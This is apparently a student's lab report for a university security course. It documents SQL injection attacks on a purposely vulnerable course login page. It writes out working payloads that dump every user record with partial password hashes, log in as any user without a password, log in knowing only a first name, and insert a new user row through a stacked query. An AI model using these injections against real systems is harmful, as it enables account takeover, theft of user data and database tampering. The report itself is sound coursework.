Jay Offerdahl
EECS 565
Mini-Project 4 Report

INITIAL NOTE

Hello Christopher. You'll find throughout this report that I failed to read the assignment before beginning with the task. The assignment clearly outlines the database schema, the password function, and other useful information. Like I said, I did not read this until after I was ready to turn in the assignment. I did leave all of my work though, for your enjoyment.

To begin, I simply clicked login, which too me to a redirect page which printed out the query of which I put in the database.

User input:

Username:
Password:

Query:

SELECT * FROM users WHERE uname='' AND passwd=PASSWORD('')

Access Denied!

Next, I tried to see if I could access any users. I into the username field: ' OR TRUE #. This command ended the username selection, added another predicate statement, which was always true. This injection allowed me to receive the entire list of users in the database. **(steal all records in table)**

User input:

Username: ' OR TRUE #
Password:

Query:

SELECT * FROM users WHERE uname='' OR TRUE #' AND passwd=PASSWORD('')

User information:

First Name	Username	Password (partial)	Introduction
Jacob	jacob	*E8BD367EA8A40D6C2	This is Jacob. Nice to meet you!
Mason	mason	*ACBE449D5110993C7	This is Mason. Nice to meet you!
William	william	*045DF8058BC3F1A16	This is William. Nice to meet you!
Jayden	jayden	*513E0A38EDBDF7823	This is Jayden. Nice to meet you!
Noah	noah	*5DDA55F92A5B51965	This is Noah. Nice to meet you!
Michael	michael	*DB1B792EC6DAE393B	This is Michael. Nice to meet you!
Ethan	ethan	*C2844DAEE70E99204	This is Ethan. Nice to meet you!
Alexander	alexander	*B5F5C0DFBBC20B91F	This is Alexander. Nice to meet you!
Aiden	aiden	*B65ED55866842BEB7	This is Aiden. Nice to meet you!
Daniel	daniel	*3C06A471CB6048FCC	This is Daniel. Nice to meet you!
Anthony	anthony	*CEFE04442F46B0C60	This is Anthony. Nice to meet you!
Matthew	matthew	*9C70843DCF838D476	This is Matthew. Nice to meet you!
Elijah	elijah	*23B43D7DE47971D7A	This is Elijah. Nice to meet you!
Joshua	joshua	*2A610820E1B50A5C2	This is Joshua. Nice to meet you!
Liam	liam	*0E4C7DEF6CF4D4FDD	This is Liam. Nice to meet you!
Andrew	andrew	*5FC3A7AFBDDDE56FD	This is Andrew. Nice to meet you!
James	james	*42497898A7BE99726	This is James. Nice to meet you!
David	david	*8201E0C1BD0520145	This is David. Nice to meet you!

Jay Offerdahl
EECS 565
Mini-Project 4 Report

With this information, I could **impersonate any user without providing their password** with an injection into the “username” field such as: [uname]’ #

User input:

Username: caleb' #
Password:

Query:

SELECT * FROM users WHERE uname='caleb' #' AND passwd=PASSWORD('')

User information:

First Name	Username	Password (partial)	Introduction
Caleb	caleb	*F8082F01BECAD0097	This is Caleb. Nice to meet you!

However, what if I wasn’t able to known the list of users, and I only had their first name? I could use try to target their first name field instead…I tried all the combination of the column names, such as “fname, name, firstName, FirstName, and Name” until I finally figured out the column name was “first”. I was then able **to impersonate a user by only knowing their name** using the command:

‘ OR first=’[name]’#.

User input:

Username: 'OR first ='Caleb'#
Password:

Query:

SELECT * FROM users WHERE uname="OR first ='Caleb'#' AND passwd=PASSWORD('')

User information:

First Name	Username	Password (partial)	Introduction
Caleb	caleb	*F8082F01BECAD0097	This is Caleb. Nice to meet you!

Jay Offerdahl
EECS 565
Mini-Project 4 Report

So, the last task is to insert a record. Ok, shouldn't be too bad. I'll end the query with a semicolon, and insert a record using the insert command. After a few attempts, I was **able to insert a record using the command:**

';INSERT INTO users VALUES ([first], [uname], [passwd], [introduction])#

// For my user, I entered the exact command below:

';INSERT INTO users VALUES ('Jay', 'jaysanco', 'wtfdyjfsamylbihyk', 'https://www.youtube.com/watch?v=dQw4w9WgXcQ')#

praveen	kumar	*75465...F1AD6A465B4	EECS 765 Profile
Jay	jaysanco	wtfdyjfsamylbihyk	https://www.youtube.com/watch?v=dQw4w9WgXcQ
Ashwini	Ashwini	*4010955D025928...	EECS765_MiniProject4

My record was inserted, but the password was inserted as plaintext…this would look fishy in the system. So I did some research, and PWDENCRYPT looked like a promising functions.

';INSERT INTO users VALUES ('Jay', 'jaysanco', PWDENCRYPT('wtfdyjfsamylbihyk'), 'pls give hash')#

However, this didn't work. Next, I tried using the built in MD5 function, which gave a weakly encrypted version of my navy seal password.

Jay	jaysanco	12da06c002ce93abca	https://www.youtube.com/watch?v=dQw4w9WgXcQ
Jay	jaysanco	wtfdyjfsamylbihyk	https://www.youtube.com/watch?v=dQw4w9WgXcQ

It was at this point I realized I wasn't thinking correctly. I noticed that the input query gave a user defined function "PASSWORD", which was responsible for hashing the input password. And, ta-da, we got it! I used the command:

';INSERT INTO users VALUES ('Jay', 'jaysanco', PASSWORD('wtfdyjfsamylbihyk'), 'pls give hash')#

Brad	brad	*2470C0C06DEE42FD1	This is for mini-project #4
Jay	jaysanco	*540E8DC8BB88757C3	pls give hash